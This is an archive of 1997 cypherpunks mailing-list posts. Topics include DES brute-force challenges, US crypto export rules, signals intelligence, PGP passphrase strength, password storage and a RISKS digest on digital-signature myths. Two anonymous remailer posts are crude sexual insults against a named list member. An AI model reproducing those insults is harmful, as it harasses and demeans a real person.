>  Fortezza card to users outside DOD.
>
>  Bruce McConnell, chief of information policy at the Office of
>  Management and Budget, said the move would make Fortezza cards more
>  attractive, but he cited different reasons. "It does encourage people
>  to use it because it moves toward the commercial approach that's being
>  taken," he said.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 21 Feb 1997 07:04:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DES search publicity (was Re: Cryptanalysis)
Message-ID: <199702211504.HAA07158@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Thu, 20 Feb 1997 19:07:18 -0500 (EST)
> From:          "Mark M." <markm@voicenet.com>
> 
> On Wed, 19 Feb 1997, Adam Back wrote:
> 
> > Have there been any sightings of your code outside the US?
> > 
> > Rumor has it that ftp://ftp.******.com/pub/incoming is a place where
> > things often turn up, but I haven't seen it yet.
> 
> Last time I checked, deskr06i.zip, which I believe is the correct filename,
> was in /pub/incoming.
> 
> 
> Mark

I have not checked this file to see if it is correct.

For the record (which is why I've added coderpunks and 
cryptography), I have never exported cryptographic
software without permission. Everyone to whom I have 
sent DESKR to has positively affirmed that they are 
US/Canadian citizens (or US Green Card holders), 
in the US/Canada, and were aware of, and would abide 
by the ITAR/EAR restrictions. 

The source code and executable are draped in warnings of it's
non-exportability. I have bent over backwards to do due
diligence on this, and am still trying to track down a 
restricted ftp server which, in my (possibly extreme) opinion,
meets my requirements. I have no intention or desire to
be the next poster child for crypto export.

In other words: I disclaim any responsibility for someone
else's exporting DESKR, if that is what this file contains.
Someone else may have knowingly broken the export regs,
but it wasn't me, nor was it done at my request, or with my
approval.

Peter Trei
trei@process.com
ptrei@acm.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Darren Reed <darrenr@cyber.com.au>
Date: Thu, 20 Feb 1997 17:58:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Correct paranoia about evesdropping.
Message-ID: <199702210157.MAA05117@plum.cyber.com.au>
MIME-Version: 1.0
Content-Type: text



I don't read cypherpunks any more, and this may have already been
mentioned but it can't hurt to be pushed again.

Whilst not directly related to cryptography, if any of you saw the
chapters from "Secret Power" posted to best-of-security, know that
that particular book is well worth reading.  Of interest to those
who are concerned for privacy from snooping:

* NSA/DSD/CSE/etc (same type of organisation in different countries)
  use ground stations around the globe to intercept satellite to ground
  transmissions, have a network of computers built up to scan all telexes,
  faxes and even some internet traffic for known keywords in real time;

* there exist computers which can process speech in real time and scan
  for known text/words;

* embassies are popular "listening posts", as are buildings "along route"
  of microwave transmissions;

No mention is made about what their capacity is to decrypt data, but
encrypted data is analysed (e.g. high level Russian stuff).

The book has been extensively researched, with an appendix of all the
sources where relevant (i.e. newspapers articles, etc).  Photographs
of many overseas "bases" are included (e.g. Yakima in Japan).  Heck,
I live less than 1km from one of the sites photographed!

It's not an attractive book, but informative and good reading.

A quote from the book, talking about agent activities and involvement
in surveilence operations: "There is no evidence of a UKUSA code of ethics
or of a tradition of respect for Parliament or civil liberties in their home
countries.  The opposite seems to be true: that anything goes as long as you
do not get caught. Secrey not only permits but encourages questionable
operations."  The extent of the secrecy around the subject matter in the
book is best represented by the comments of a former New Zealand
Primeminister' foreword which admits that he was unaware of many details
in the book but not which ones.  I imagine it would be likewise enlighening
to many recent politicians of high station...

So, in summary, paranoia about being listened to is well formed, especially
if you're involved in overseas communications.  Just assume it is being
"tapped" if it is in clear text and you'll save yourself a lot of worrying
about the "might-be" factor.

"Secret Power"
ISBN 0-908802-35-8
Craig Potton Publishing,
Box 555, Nelson
New Zealand.
First publishing 1996, reprinted 1996.
Approximate cost AUS$35 (inc. freight)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 21 Feb 1997 10:10:55 -0800 (PST)
To: cryptography@c2.net
Subject: Prizes, and coordinated vs uncoordinated search, redux.
Message-ID: <199702211810.KAA09549@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Sorry about the long list of lists, but this issue
is being discussed in all of them.]


1. 
Different set of people seem to be working towards
different sets of goals, and this seems to be the
source of a lot of contention.

My personal goal is to promote the easing of US export
restrictions on cryptographic software. I regard these
restrictions as promoting crime and espionage. They 
are also driving US jobs overseas, and crippling the
US software industry's ability to compete in the 
world marketplace (yes, I'm an American, and have 
every intention of promoting my countries best 
interests).

Recently, the US government tightened the rules on
cryptographic software export, but left one tiny
Devil's bargain of a loophole: if firms would agree
in future to compromise the integrity of their
products by adding back doors for 'key recovery',
then they could export single DES sofware without 
'key recovery' until the end of 1998.

Clearly, the government's intent is to bribe software
developers into 'voluntarily' adopting GAK (Government
Access to Keys), when they would never do so without
incentive. The rules also require that if either end
of a transmission uses a GAK'd product, then both
sides of the transmission must be tappable. This 
makes it difficult for GAK'd and non-GAK'd products to
interoperate, and is a wedge to force GAK'd products
into even purely domestic communications.

I think that this is a horrible idea. 

One way to fight it is to discredit DES, by showing 
that any one with sufficient computing resources (or 
a modest amount of cash) can get single-DES keys 
broken. If I destroy the market for new DES products,
developers will have less incentive to go along with
the government's Faustian scheme.

The model I am trying to emulate is that of a criminal
or spy agency which wishes to decrypt a captured 
transmission. It's not unusual for such a capture to 
have a  partially known plaintext. In some cases, 
they may be able to use special hardware to search 
the keyspace quickly, but if they don't, they could
simply put out a message on the sci.crypt: "Tell me
what DES key decrypts 0f 1e 2d 3c 4b 5a 69 78 to 
'HTTP/1.0' and I'll send you $10,000." This level
of attack is available to almost anyone, and I intend
to show that it is effective. 

------------------

As for the prize money, if the person winning it wants
to send it to a non-profit organization, or is contractually
bound to dispose of it in some particular way, that's 
their business. Myself, I'd probably buy a couple really 
top-of-the-line PCs (for me and my wife), and throw a big
party.

Thomas S. writes:
> 2. What about the developers? They invest an awful lot of time and
>    effort into this project because they believe in a future of the
>    internet. The majority would be very unhappy if the money would
>    be used for personal profit.

Speaking as a developer: I've been working on this project
in my spare time for about 5 months now. When I talked to 
RSA about how to best set up the challenge, I *wanted* 
the money to go to the person finding the key, and I am 
pleased that that is what they have done.

Which particular developers do you claim to speak for, 
anyway? Can't they speak for themselves?

-------------------------

If the coordinated groups don't want to share their
keyspace maps with others, that's their business. 
Effectively, they become just another uncoordinated
searcher (though a very fast one). If a coordinated
searcher does publish it's map, then people who trust
it can use the data to avoid going over old ground.
This would speed the search as we near the end, but
has very little effect at the beginning.
--------------------------- 

The coordinated groups are still trying to get their
infrastructure in place. In the meantime, at my small
employer, we are already searching about 10 million
keys/sec, with probably twice that being searched by
people with my software on the outsde. And I have still
to do a general call for participation...

Peter Trei
trei@process.com
ptrei@acm.org

Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Simon Spero <ses@tipper.oit.unc.edu>
Date: Fri, 21 Feb 1997 11:10:44 -0800 (PST)
To: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Subject: Re: DES and RSA crypto hardware from the free world
In-Reply-To: <85595791717269@cs26.cs.auckland.ac.nz>
Message-ID: <Pine.SUN.3.91.970221140923.26508A-100000@tipper.oit.unc.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997, Peter Gutmann wrote:

> I've just got the details on two new crypto chips produced by the Dutch company
> Pijnenburg Custom Chips B.V.  These are the PCC 201 bignum coprocessor and the

Were those prices 1-off? Any idea what the price would be for volume?


-----
             Now available - The Freddy Hayek Kayak
           Paddle Your Own Canoe! Be Rowed To Surfdom!
         From The Taco Institute for Dyslexic Libertarians    





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Fri, 21 Feb 1997 11:38:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702211918.OAA15425@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] May's obsessive masturbation has lead to advanced degree 
of blindness and hairy palms.

          __\/__
      .  / ^  _ \  .
      |\| (o)(o) |/|
  -.OOOo----oo----oOOO.- Timmy C[reep] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 21 Feb 1997 12:11:07 -0800 (PST)
To: DCSB Distribution <rah@shipwright.com>
Subject: DCSB: Online Government & Electronic Commerce - Legislation and Public Sector Initiatives
Message-ID: <v0302090baf33ac4bdb7a@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


                 The Digital Commerce Society of Boston

                              Presents
                       Daniel Greenwood, Esq.
                       Deputy General Counsel
                  Information Technology Division
                   Commonwealth of Massachusetts

             "Online Government & Electronic Commerce -
              Legislation and Public Sector Initiatives"



                        Tuesday, March 4, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA


Dan will give us an update on recent information age legislative and
operational developments in the public sector.  Special attention will be
paid to: Electronic Signature and Record Legislation; Joint
Government/Private Sector Attempts to Set Certification Authority
Standards; Cutting Edge Public Sector PKI Projects; Recent Coordinated
State-Federal-Foreign Electronic Commerce Policy Initiatives; and much,
much more . . .

Speaker:
Daniel Greenwood, Esq.
Information Technology Division, Deputy General Counsel
Commonwealth of Massachusetts
Office: http://www.state.ma.us/itd/legal
home: http://www.tiac.net/biz/danielg

Mr. Greenwood practices information technology law for the Commonwealth
of Massachusetts.  Recent relevant activities include:
* Co-Author of the Draft 1997 Mass. Electronic Records and Signature Act
* Chairman of the Commonwealth of Mass. PKI Task Force
* Chairman of the ABA Info. Security Comm., Legislative Sub-Committee
* Co-Chair of the ABA Cyberspace Law Comm., Legislative Work Group
* Contributing Author: ABA Digital Signature Guidelines
* Negotiator of Contracts for Internet Security and Payment Systems
* Board Member of SigNet.Org and Chair of Legal Special Interest Group
* Director of the Virtual State House Project (MIT/Stanford Law School)
* Faculty Member: MCLE Health Care & Info. Technology Program
* Guest Lecturer for Suffolk Law School High Tech. Symposium
* Selection Board Chairman for First Commonwealth of Mass. C/A Business


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, March 4, 1997 from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, One Federal Street. The price for lunch is
$27.50. This price includes lunch, room rental, and the speaker's lunch.
;-).  The Harvard Club *does* have dress code: jackets and ties for men,
and "appropriate business attire" for women.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, March 1, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston".

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Planned speakers for DCSB are:

March  Daniel Greenwood  The Role of State Government in Digital Commerce
April  Stewart Baker     Encryption Policy and Digital Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

Looking forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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7pwwVbkioSc=
=m5Pz
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 21 Feb 1997 12:18:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE
Message-ID: <v03020912af33b31c75a8@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Authentication-Warning: arraydev.com: majordom set sender to
owner-ibc-forum using -f
X-Sender: tom@arraydev.com
Date: Fri, 21 Feb 1997 13:31:31 -0500
To: ibc-forum@ARRAYdev.com
From: Tom McKegney <Tom.McKegney@arraydev.com>
Subject: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE
Mime-Version: 1.0
Sender: owner-ibc-forum@arraydev.com
Precedence: bulk
Reply-To: ibc-forum@arraydev.com

I pass on the following which was received

Thu, 20 Feb 1997 16:58:48 -0500
From: Lara Becker <lbecker@law.harvard.edu>


                 The International Tax Program
                       Harvard University

       International Tax Program and the Tax Law Society
                   1997  Spring Symposium on

      MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE

                       Saturday, April 5,
                 Cambridge, Massachusetts,U.S.A.


The Symposium:

Billions of dollars of valuable goods and services are
sold, exchanged or transmitted electronically. The amount of such
commercial activity is expected to grow exponentially in the
future. The appropriate taxation of this sector is one of the
most significant new tax issues of our day. The International Tax
Program and the Society for Law and Tax Policy of Harvard Law
School are sponsoring a symposium that will bring together the
leading policy makers, academics and practitioners in this field
in an effort to help derive uniform tax rules in this challenging
dimension of domestic and international taxation.

This symposium will consider a wide range of issues, including:

**Differences in determining the electronic commerce income
tax base.  Should source or residence rules be used, or should
some form of formulary apportionment be applied?

**Problems in imposing retail sales taxes on electronic sales.
Should traditional nexus rules apply?

**Problems in determining the value added by electronic
commercial inputs.  Should a tax be determined based on the
'bits' of information? If so, should each 'bit' be valued the
same?

**Problems involving the harmonization of tax rules.
International and sub-national aspects of this problem will be
considered. OECD efforts in this area will be contrasted with
proposed uniform state legislation in the US.

**Throughout the symposium the impact that these tax decisions
will have on cross-border investment decisions will be a primary
concern.


The Goals of the ITP:

The International Tax Program continues to sponsor symposiums on
topics of critical concern to government and private sector tax
practitioners at Harvard University. It is the belief of the
Program that such discussions will lead to advances in tax
policy, administration and compliance on a global basis. THE
MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE presents
such a challenge. Basic Income tax objectives such as efficiency
and equality of treatment are made more difficult to achieve if
the rules of the game are left to develop on an ad hoc basis.
Through this forum the International Tax Program hopes to
facilitate a meaningful interaction among policy makers around
the core issues of taxation and the internet.
=========


Schedule:

Saturday, April 5, 1997

     7:30 - 8:30: Coffee and Registration

     8:30 - 9:00: Keynote Speaker, Mr. Jeffrey Owens, Chief,
Fiscal Affairs Division: OECD (Paris)

     9:00 - 11:30:INTERNATIONAL PANEL:

     Moderator: Professor Diane Ring, Harvard Law School

     Speakers: Mr. Bruce Cohen, Attorney-Advisor, Office of
International Tax Counsel, U.S. Treasury

     Mr. Alan S. S. Ow, Senior Deputy Commissioner, Inland
Revenue Authority, Singapore

     Mr. Nicasio del Castillo, Partner, Coopers & Lybrand

     Professor Luc Soete, Maastricht Economic Research Institute
on Innovation and Technology, University of Maastricht, the
Netherlands

     Mr. Arthur Cordell, Industry Canada, Special Advisor for
Long Range Planning and Analysis


     11:30 - 12:30: Catered Lunch

     12:30 - 3:00: STATE PANEL

     Moderator: Professor Reuven Avi-Yonah, Harvard Law School

     Speakers: Ms. Deborah Bierbaum, Deputy Commissioner, Office
of Tax Policy, Department of Taxation, New York

     Ms. Linda Lettera, General Counsel, Department of Revenue,
Florida

     Mr. Wade Anderson, Director of Tax Policy, Comptroller of
Public Accounts, Texas

     Mr. Dean F. Andal, Member, State Board of Equalization,
Second District, California

     Mr. Walter Hellerstein, Attorney, Southerland, Asbill &
Brennan

     3:00 - 3:30: Coffee

     3:30 - 6:00: INDUSTRY PANEL

     Moderator: Professor Richard Pomp, University of Connecticut
Law School

     Speakers: Ms. Jeanne Goulet, Director of Tax, IBM Credit,
IBM

     Ms. Allyn Yamanouchi, Vice President and Global Technology
Tax Counsel, CITIBANK

     Mr. James Eads, Jr., and Mr. Paul Nolan, Legal Division,
AT&T

     Mr. Bruce Reid, Director of State and Local Tax, MICROSOFT

     Ms. Ellen Fishbein, Assistant General Counsel, AMERICA
ONLINE
===============

Registration and Fees:

The fee for this program is $500.00. An academic or government
employee discount is available. That fee is $200.00. To register
for the symposium please fill out and return the form below, with
a check or money order made payable to Harvard University, to:

Multi-Jurisdictional Taxation of
Electronic Commerce Symposium
Attn: Lara Becker
1563 Massachusetts Avenue
Pound Hall, Room 400
Cambridge, MA 02138
Lbecker@law.harvard.edu

Fax: 617-495-0423
Tel: 617-495-4406

...............................................................
Registration Form:


1997 Spring Symposium on Multi-Jurisdictional Taxation
of Electronic Commerce, Saturday, April 5, 1997.

Mr./Ms.


Name (First or Given Name)


(Surname or Family Name)


Email Address:


Title:


Organization:


Home Address/Work Address:


Telephone Number:


Fax Number:


I am Paying by:


Check:

Money Order:

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Fri, 21 Feb 1997 13:21:23 -0800 (PST)
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: IDEA/Strength?
Message-ID: <3.0.1.32.19970221162111.006a8310@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Is the strength, or lack thereof, of conventional PGP encryption
proportional
to the length of the conventional password?

For example, when I encrypt conventionally, does it make any difference
internally (disregarding the ability to guess the password) if I choose
to
use the pass phrase heyyou, or
[Harris$Pizza*Axis/LilburnKfreakmaisUoui@(.
Not so much the randomness of my password as the length?

 Do more characters give the encryption process more to work with?

Thanks.

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5
Comment: Public key available on request or from keyservers.

iQCVAgUBMw4RtCKJGkNBIH7lAQEDmwP/WANzYA3KVyL5yNyE02hYotMgR6EKPxIm
Q4hP5TiZzAve29CMc972Udeb1BJU9Ow6slHbpoLREH1qlWWqNpzO3YS6X5nYrXDM
NeEf4sCTxkZ/33u48rv4T0ZD69/JGQV11/GMbsI3wJjCKW57Fb8cE8ANj4dDWblm
6spqX6YDecQ=
=/AVU
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Fri, 21 Feb 1997 17:46:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702220126.UAA18431@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[rook] May is the living proof that anal sex causes 
pregnancy.

            /\_/\
           ( x x )
       -oo0-(o o)-0oo- Timmy C[rook] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 21 Feb 1997 22:45:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Myths of Digital Signatures: RISKS article by Ed Felten
Message-ID: <3.0.1.32.19970221224202.00655418@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Ed Felten has an article in RISKS Digest, Volume 18, Issue 83,
http://catless.ncl.ac.uk/Risks/18.83.html
called "Myths about digital signatures".  It's focused on the 
	"Microsoft Signed This ActiveX Applet So It Must Be Safe"
delusion.  Nothing we haven't heard before, but a good summary.

He's also announcing a mailing list on security of Java/ActiveX/etc.
===================================================
Mobile code security mailing list
Edward Felten <felten@CS.Princeton.EDU> 
Wed, 19 Feb 1997 19:58:39 -0500

We are starting a moderated mailing list to discuss security issues relating
to mobile code systems like Java, ActiveX, and JavaScript.  To join, send
e-mail to majordomo@cs.princeton.edu; your message body should contain the
single line
"subscribe secure-mobile-code"
or if your desired TO: address is different from your FROM: address,
"subscribe secure-mobile-code" (append your TO: address here)
 ==================================================================



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 21 Feb 1997 23:48:08 -0800 (PST)
To: camcc@abraxis.com (Alec)
Subject: Re: IDEA/Strength?
In-Reply-To: <3.0.1.32.19970221162111.006a8310@smtp1.abraxis.com>
Message-ID: <3.0.1.32.19970221234738.005c05c8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:21 PM 2/21/97 -0500, Alec wrote:
>Is the strength, or lack thereof, of conventional PGP encryption
>proportional to the length of the conventional password?

Sure, up to 128 bits of entropy.  Go check out pgpcrack.  

Suppose you wanted to do a brute-force attack on a PGP conventionally
encrypted document, and you knew the passphrase was one character long.
What would you do?  How many tries would it take to be sure you
got the right passphrase?

Suppose you knew the passphrase was one word in a common on-line dictionary.
What would you do, and how many tries would it take?

Since the passphrase is MD5-hashed to a 128-bit-long key, there are only
2**128 really-different passphrases, though for any given passphrase,
most of the members of the infinitely large class of equivalent passphrases
won't be very easy to remember :-)  Since MD5 is cryptographically strong,
we used to assume it would be hard to find those equivalence classes,
though Dobbertin's work suggests it's not as hard to find collisions as we
used to assume.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 22 Feb 1997 00:03:06 -0800 (PST)
To: Ed.Falk@Eng.Sun.COM (Ed Falk)
Subject: Re: Interesting question: how to safely keep passwords online
In-Reply-To: <199702181940.LAA24732@peregrine.eng.sun.com>
Message-ID: <3.0.1.32.19970222000137.00622bd8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:40 AM 2/18/97 -0800, Ed Falk wrote:
>Here's a question that's been on my mind lately:  Often, you like
>to keep external passwords stored on your personal computer.  As a quick
>example, Eudora will remember your POP password for you so you don't
>have to enter it every time.  Obviously, Eudora keeps this on disk
>somewhere.
>The question is: is there any (relatively) safe way to do this? 

Depends on your threat models....

The relatively safe way is to use an encrypted disk volume,
so everything stored on it is "safe", though any time the 
disk volume is open, you're obviously at risk.  My laptop is
relatively secure, unless someone has physical access to it;
if I used a boot password and encrypted disk volume it would require
an active attack to get the information, rather than simple theft.
(NT has a password, but it's not worth much if you've got the disk.)

Another popular approach, which PGP uses for storing private keys,
is to store the keys in an encrypted file, and use a passphrase for access;
variants include one passphrase for the whole file, or one passphrase
per record.  Of course, if you can replace the "PGP" program with a
trojan version, you can still steal the passphrase.  Or you can use a
keystroke sniffer to store any password-like input.

Of course, an even more popular approach is to ignore the problem,
and just leave the password around in plaintext in an INI file or Registry,
or encrypt it with some Really Secure KeyLess Proprietary Algorithm,
like rot13 ("We'll fool them - we'll use rot39!  It's 3 times as secure!")

If you've got off-machine storage, e.g. a SecureID-like calculator
or other smartcard with on-card PIN entry, you can do actual security.
Even then you need to be careful about all the protocols; it doesn't do
much good to have a 4096-bit RSA key if a trojan shim can replace the card's
response of "Not OK" with "OK" before the real application reads it.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Evan Platt (IN3501)" <eplatt@wco.com>
Date: Sat, 22 Feb 1997 01:14:46 -0800 (PST)
To: (Recipient list suppressed)
Subject: Re: Photos Digitized and Theyre Done Dirt Cheap!
Message-ID: <3.0.32.19970222001335.006f4f2c@mail.wco.com>
MIME-Version: 1.0
Content-Type: text/plain


Attn: you fell victim to this persons abuse of Internet E-Mail. You can
help stop him by doing two things: 1. do NOT use his service. Find
somewhere else to get photos scanned. 2. Forward a COMPLETE copy of his
message with all headers intact to
postmaster@aol.com,abuse@aol.com,tosadvisor@aol.com,stevecase@aol.com,root@a
ol.com
This will make sure that AOL knows you do NOT want to receive this persons
crap, and they will shut down his account.
Thank you for listening, and help stop SPAM!

At 01:26 PM 2/21/97 -0500, Bulkyman@aol.com wrote:
>Photos Digitized and They're Done Dirt Cheap!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 21 Feb 1997 22:02:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Risks on digital signatures, several other topics
Message-ID: <01IFP51YM3FK8Y52G0@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 21-FEB-1997 23:42:52.06
From: Phil Agre <pagre@weber.ucsd.edu>

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
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Date: Fri, 21 Feb 1997 08:58:34 -0800 (PST)
From: risks@csl.sri.com
Subject: RISKS DIGEST 18.83

RISKS-LIST: Risks-Forum Digest  Friday 21 February 1997  Volume 18 : Issue 83

----------------------------------------------------------------------

Date: Wed, 19 Feb 1997 17:12:43 -0500
From: Edward Felten <felten@CS.Princeton.EDU>
Subject: Myths about digital signatures

There has been a lot of public discussion lately about digital signatures on
mobile code.  Several myths permeate this discussion.  I'd like to puncture
three of them.

* Myth 1: Digital signatures let you know who wrote a program, or where it
came from.

Reality: Anybody can remove the author's signature or add their own
signature.  At best, a signature tells you that the signer endorsed the
program recently.  Endorsement is more useful than authorship anyway; most
people care more about whether their corporate MIS department has endorsed a
program than about who wrote the program.

* Myth 2: If X has signed a program, and I trust X, then it is safe for me
to download the program.

Reality: There have been plenty of incidents of reputable and well-meaning
organizations spreading viruses or serving as the base for security
attacks.  Before accepting a download from X, it's not enough to ask "Do I
trust X?"  One must also ask questions like "How carefully has X managed
his cryptographic keys?" and "What is the probability that X's security has
been penetrated?"  

* Myth 3: Digital signatures provide accountability; if a program signed by
X is malicious, the victim can sue X.

Reality: Suppose I accept a download signed by X.  A few seconds later
there is some mysterious network traffic and then my disk gets wiped clean.
 X could be the culprit.  Or X could be innocent --- that code I downloaded
from Y three days ago could have waited a while before detonating.  Or
somebody could have exploited a bug somewhere else in my system.  I have *no
evidence* to distinguish these cases --- all the evidence disappeared when
my disk was erased.  (We can assume the attacker is smart enough to remove
the hostile code from his site immediately after the attack.)

If the attacker doesn't erase my disk, I can't trust the apparent evidence
anyway.  After all, the attacker had free run of my system and could have
planted whatever "evidence" he liked.  The evidence, whether real or not,
will collapse in the first cross-examination.
 
Signatures can provide accountability, but only with much more rigorous
logging and auditing than today's consumer software provides.

------------------------------

Date: Mon, 17 Feb 1997 08:21:44 -0500
From: amesr@interlog.com (Robert Ames)
Subject: Forgeries and Dejanews

It seems that an effective way to attack an individual is to forge a Usenet
article purportedly from that person, and to include in the article
"admissions" or bigotted statements which would reflect poorly on his
character.  The forged article is then collected by Dejanews and similar
organizations and archived.  It becomes part of the Dejanews "profile" on
the supposed author.

I was one of the victims of a series of forgeries in August and September,
1996.  The perpetrator originated at ixc.net in New York, and then telnetted
to news.uu.net and other open news servers to post as the victim.  Although
I cancelled the forged article and posted a PGP-signed repudiation, the
article was still archived at Dejanews, and was recently used by someone to
"prove" that I had made statements which put me in a bad light.

Since this is a general problem which can impact on anyone, I feel it needs
to be discussed.  Perhaps news archivers should be under the same scrutiny
as credit reporting agencies.

------------------------------

Date: Wed, 19 Feb 1997 19:58:39 -0500
From: Edward Felten <felten@CS.Princeton.EDU>
Subject: Mobile code security mailing list

We are starting a moderated mailing list to discuss security issues relating
to mobile code systems like Java, ActiveX, and JavaScript.  To join, send
e-mail to majordomo@cs.princeton.edu; your message body should contain the
single line

"subscribe secure-mobile-code"

or if your desired TO: address is different from your FROM: address,

"subscribe secure-mobile-code" (append your TO: address here)

------------------------------

Date: Wed, 19 Feb 1997 13:33:51 -0500
From: Paul Robinson <foryou@erols.com>
Subject: ActiveX basic problem

As it has been pointed out in *Dr. Dobbs' Journal*, an ActiveX control is no
less than a Windows Dynamic Link Library (DLL) that has all the power and
capability of any other DLL loaded on a Windows system, i.e.  any damn thing
it wants to do.

This alone should ring the death knell on use of ActiveX for anything other
than perhaps on an intranet behind a firewall that does not allow any
incoming traffic, and maybe not even then.

Paul Robinson, Evergreen Software

------------------------------

Date: Fri, 21 Feb 1997 16:06:20 +0000 (GMT)
From: Lloyd Wood <L.Wood@surrey.ac.uk>
Subject: MS on the CCC ActiveX virus (fwd)

Here is Microsoft's official line on the security of ActiveX.

This leaves a very nasty taste in my mouth. The onus on the users to be
responsible with their tools, as usual, rather than on the developers to
create safer tools.  Lloyd
